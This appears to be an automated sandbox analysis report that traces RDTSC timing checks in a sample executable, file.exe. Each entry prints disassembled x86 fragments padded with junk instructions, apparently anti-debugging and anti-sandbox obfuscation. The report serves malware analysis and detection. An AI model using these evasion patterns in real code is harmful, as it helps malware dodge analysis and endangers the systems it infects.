Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824D1D second address: 824D5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FC6C5B27A16h 0x00000009 jmp 00007FC6C5B27A22h 0x0000000e jnp 00007FC6C5B27A16h 0x00000014 popad 0x00000015 push ecx 0x00000016 pushad 0x00000017 popad 0x00000018 pop ecx 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FC6C5B27A24h 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824D5F second address: 824D6B instructions: 0x00000000 rdtsc 0x00000002 je 00007FC6C5B27136h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824D6B second address: 824D75 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC6C5B27A22h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824D75 second address: 824D85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FC6C5B27136h 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824EB6 second address: 824EC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 825076 second address: 825098 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FC6C5B27145h 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C533A second address: 7C5350 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27A20h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5350 second address: 7C5356 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82B046 second address: 82B04C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82B04C second address: 82B05B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC6C5B2713Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82B05B second address: 82B094 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27A23h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 jmp 00007FC6C5B27A1Bh 0x00000015 push ebx 0x00000016 jnp 00007FC6C5B27A16h 0x0000001c pop ebx 0x0000001d popad 0x0000001e mov eax, dword ptr [eax] 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 pop eax 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82B094 second address: 82B098 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82FAC1 second address: 82FAC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82FFD1 second address: 82FFD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82FFD5 second address: 830004 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27A1Eh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FC6C5B27A28h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 830004 second address: 830016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FC6C5B27136h 0x0000000a popad 0x0000000b pop ebx 0x0000000c push edi 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8305EA second address: 8305FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27A1Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 830ACE second address: 830AD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 830AD2 second address: 830AEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27A25h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 830C49 second address: 830C4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 830C4D second address: 830C55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 830C55 second address: 830C69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007FC6C5B27136h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8358C0 second address: 8358C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8350B0 second address: 8350B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8350B8 second address: 8350C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jne 00007FC6C5B27A16h 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8350C9 second address: 8350DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC6C5B27142h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8350DF second address: 8350E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835E68 second address: 835E6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83630E second address: 836312 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83C6C4 second address: 83C70C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FC6C5B2713Fh 0x00000008 pop esi 0x00000009 pushad 0x0000000a jmp 00007FC6C5B27149h 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FC6C5B27147h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805699 second address: 8056EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27A27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007FC6C5B27A1Ch 0x0000000f jbe 00007FC6C5B27A16h 0x00000015 popad 0x00000016 push eax 0x00000017 push edi 0x00000018 jo 00007FC6C5B27A18h 0x0000001e pushad 0x0000001f popad 0x00000020 pop edi 0x00000021 nop 0x00000022 add dl, FFFFFF90h 0x00000025 lea eax, dword ptr [ebp+13BFC49Ch] 0x0000002b xor edi, dword ptr [ebp+13A42A41h] 0x00000031 nop 0x00000032 push edi 0x00000033 push ebx 0x00000034 pushad 0x00000035 popad 0x00000036 pop ebx 0x00000037 pop edi 0x00000038 push eax 0x00000039 je 00007FC6C5B27A24h 0x0000003f push eax 0x00000040 push edx 0x00000041 push esi 0x00000042 pop esi 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80577A second address: 80577E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80577E second address: 805782 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805CD7 second address: 805CFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FC6C5B2713Eh 0x0000000d popad 0x0000000e popad 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 jp 00007FC6C5B27136h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805CFC second address: 805D00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805D00 second address: 805D5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov eax, dword ptr [eax] 0x00000009 jg 00007FC6C5B27146h 0x0000000f jmp 00007FC6C5B27140h 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 push ecx 0x00000019 jmp 00007FC6C5B27149h 0x0000001e pop ecx 0x0000001f pop eax 0x00000020 mov di, ax 0x00000023 push 6950F579h 0x00000028 push eax 0x00000029 push edx 0x0000002a push edi 0x0000002b jmp 00007FC6C5B2713Fh 0x00000030 pop edi 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805E3B second address: 805E3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805E3F second address: 805E45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805E45 second address: 805E4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805E4B second address: 805E4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805E4F second address: 805E5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8061B9 second address: 8061C9 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC6C5B27136h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8061C9 second address: 806213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jnp 00007FC6C5B27A18h 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007FC6C5B27A18h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 00000018h 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 jnc 00007FC6C5B27A1Ch 0x0000002f push 00000004h 0x00000031 sub dword ptr [ebp+13A456C0h], esi 0x00000037 nop 0x00000038 push eax 0x00000039 pushad 0x0000003a push esi 0x0000003b pop esi 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8065FB second address: 806601 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8068B1 second address: 8068B7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8068B7 second address: 8068BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8068BD second address: 8068C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8068C1 second address: 8068DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a js 00007FC6C5B27138h 0x00000010 pushad 0x00000011 popad 0x00000012 pop ecx 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8069C4 second address: 8069C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8069C8 second address: 8069CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8069CE second address: 806A02 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dx, si 0x0000000e lea eax, dword ptr [ebp+13BFC4E0h] 0x00000014 mov edi, ecx 0x00000016 nop 0x00000017 jnc 00007FC6C5B27A22h 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push edi 0x00000021 jg 00007FC6C5B27A16h 0x00000027 pop edi 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806A02 second address: 7E7448 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27140h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a stc 0x0000000b lea eax, dword ptr [ebp+13BFC49Ch] 0x00000011 mov dword ptr [ebp+13A41BAAh], edi 0x00000017 push eax 0x00000018 jl 00007FC6C5B27140h 0x0000001e mov dword ptr [esp], eax 0x00000021 jmp 00007FC6C5B27149h 0x00000026 call dword ptr [ebp+13BC4E8Eh] 0x0000002c push eax 0x0000002d push edx 0x0000002e jg 00007FC6C5B2713Ah 0x00000034 push ebx 0x00000035 pop ebx 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83BAEE second address: 83BAF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83BDBA second address: 83BDFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jng 00007FC6C5B27136h 0x00000009 jno 00007FC6C5B27136h 0x0000000f pop eax 0x00000010 jbe 00007FC6C5B2713Eh 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pushad 0x00000019 jmp 00007FC6C5B2713Fh 0x0000001e jg 00007FC6C5B27148h 0x00000024 jmp 00007FC6C5B2713Ch 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 843B98 second address: 843BA4 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC6C5B27A1Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 843D0C second address: 843D10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 843E8B second address: 843E91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 844010 second address: 844025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FC6C5B27140h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 844465 second address: 844469 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 844469 second address: 84446D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84446D second address: 84448C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FC6C5B27A22h 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8445BE second address: 8445C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8445C2 second address: 8445C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 844F7C second address: 844F8B instructions: 0x00000000 rdtsc 0x00000002 jg 00007FC6C5B2713Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 844F8B second address: 844F91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 844F91 second address: 844FAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007FC6C5B2713Eh 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84B84E second address: 84B854 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84B854 second address: 84B870 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FC6C5B27147h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84B870 second address: 84B88B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FC6C5B27A25h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84B88B second address: 84B88F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84B88F second address: 84B895 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCF1F second address: 7BCF2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCF2A second address: 7BCF3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC6C5B27A21h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCF3F second address: 7BCF45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCF45 second address: 7BCF51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FC6C5B27A16h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCF51 second address: 7BCF67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FC6C5B2713Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCF67 second address: 7BCF71 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FC6C5B27A16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84B17B second address: 84B17F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84B17F second address: 84B183 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84B183 second address: 84B189 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84B40B second address: 84B42C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC6C5B27A2Ch 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84DE0B second address: 84DE0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84DE0F second address: 84DE1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27A1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84DE1E second address: 84DE63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27140h 0x00000007 js 00007FC6C5B27141h 0x0000000d jmp 00007FC6C5B2713Bh 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FC6C5B2713Fh 0x0000001c jmp 00007FC6C5B2713Eh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84D8E9 second address: 84D91F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC6C5B27A29h 0x00000009 jmp 00007FC6C5B27A29h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84D91F second address: 84D93B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC6C5B27136h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 jmp 00007FC6C5B2713Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8512DA second address: 8512DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85182C second address: 851832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8584B7 second address: 8584C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007FC6C5B27A16h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8584C6 second address: 8584DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6C5B27145h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8584DF second address: 8584E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 856DB2 second address: 856DBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 856DBA second address: 856DC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 856DC4 second address: 856DCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
